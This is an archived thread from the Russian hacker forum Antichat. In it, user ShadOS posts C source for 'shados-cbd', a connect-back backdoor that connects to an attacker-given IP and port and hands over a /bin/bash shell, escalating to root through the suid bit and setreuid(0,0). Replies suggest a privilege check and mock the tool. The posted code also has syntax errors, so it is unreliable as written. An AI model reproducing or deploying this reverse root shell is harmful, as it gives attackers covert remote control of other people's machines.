Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Избранное (https://forum.antichat.xyz/forumdisplay.php?f=89)
-   -   shados-cbd (https://forum.antichat.xyz/showthread.php?t=60375)

ShadOS 30.01.2008 01:41

shados-cbd
 
Вот написал connect-backdoor для *nix систем на досуге. Если есть права root, то для использования необходимо поставить suid-бит, используя команду chmod. Т.о. бекдор при однакратной установке suid-бита даёт нам рутовый connect-backdoor.
Код:

//shados-cbd v0.1
//usage: cbd ip_addr port
//set suid bit for rootshell
//compile: gcc shados-cbd.c -o shados-cbd

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

#include<arpa/inet.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/wait.h>

#include<unistd.h>
#include<errno.h>

#define SHELL "/bin/bash"

int main(int argc , char *argv[])
{
        int st;
        int sockfd;
        int sock_len;
        pid_t bind_sh;

        struct sockaddr_in att;

        if (argc != 3)
        {
                printf("usage: %s ip_addr port\n",argv[0]);
                exit(0);
        }
        att.sin_family = AF_INET ;
        att.sin_port = htons(atoi(argv[2]));

        if (inet_aton(argv[1] , &att.sin_addr) == 0)
        {
                perror("Invaild ip-address");
                exit -1;
        }
               
        sock_len = sizeof(att);
       
        if ((sockfd = socket(PF_INET , SOCK_STREAM , 0)) < 0)
        {
                perror("Socket creation faild");
                exit -1;
        }
       
        if((bind_sh = fork()) == -1)
        {
                perror("Cannot open new process");
                exit -1;
        }
        else
        if (bind_sh == 0)
            {
                if(connect(sockfd , (struct sockaddr*)&att , sock_len) == -1)
                {
                        perror("Connection error");
                        exit -1;
                }
               
                if((dup2(sockfd, 0) == -1) ||
                                  (dup2(sockfd, 1) == -1) ||
                                  (dup2(sockfd, 2) == -1) ||
                                  (dup2(sockfd, 3) == -1));

                if geteuid() {
                        setreuid(0,0);
                        setregid(0,0);
                }
}
                execl(SHELL , SHELL , NULL);
            }
            else
            {
                wait(&st); /* kinda useless but safe */
            }

        return 0;
}

P.S. Пьянству бой. Опять в зюзю.

n0ne 30.01.2008 02:17

Цитата:

Если есть нет права root
Эт как?)

И вообще имхо нужно сделать элементарную проверку прав, чтоб каждый раз не комментировать\раскоммент ровать строки.

mod:

Можно и без проверки, просто запихнуть использование setreuid(0,0); и setregid(0,0); в отдельный параметр, т.е. будет не cbd ip port, а cbd ip port rights. Ну вариантов много =)

ShadOS 30.01.2008 02:52

Цитата:

Сообщение от n0ne
Эт как?)

И вообще имхо нужно сделать элементарную проверку прав, чтоб каждый раз не комментировать\раскоммент ровать строки.

Спасибо за идею:
добавляем
Код:

if geteuid() {
  setreuid(0,0);
  setregid(0,0);
}

Комменты поощряю ибо писалось на коленке и быстро. Все ваши пожелания постараюсь учесть.

ZaCo 30.01.2008 10:17

вообще не думал, что человек который модули ядра с руткитами и много другого поинтереснее пишет пойдет в степь хакерских шеллов даже без поддержки псевдо-терминального устройства. короче fork()/dup()/exec()/ подозрительно - либо это "релиз" многолетней давности который нет смысла выкладывать либо хз что - аккаунт шадоуса взломали.


Время: 16:22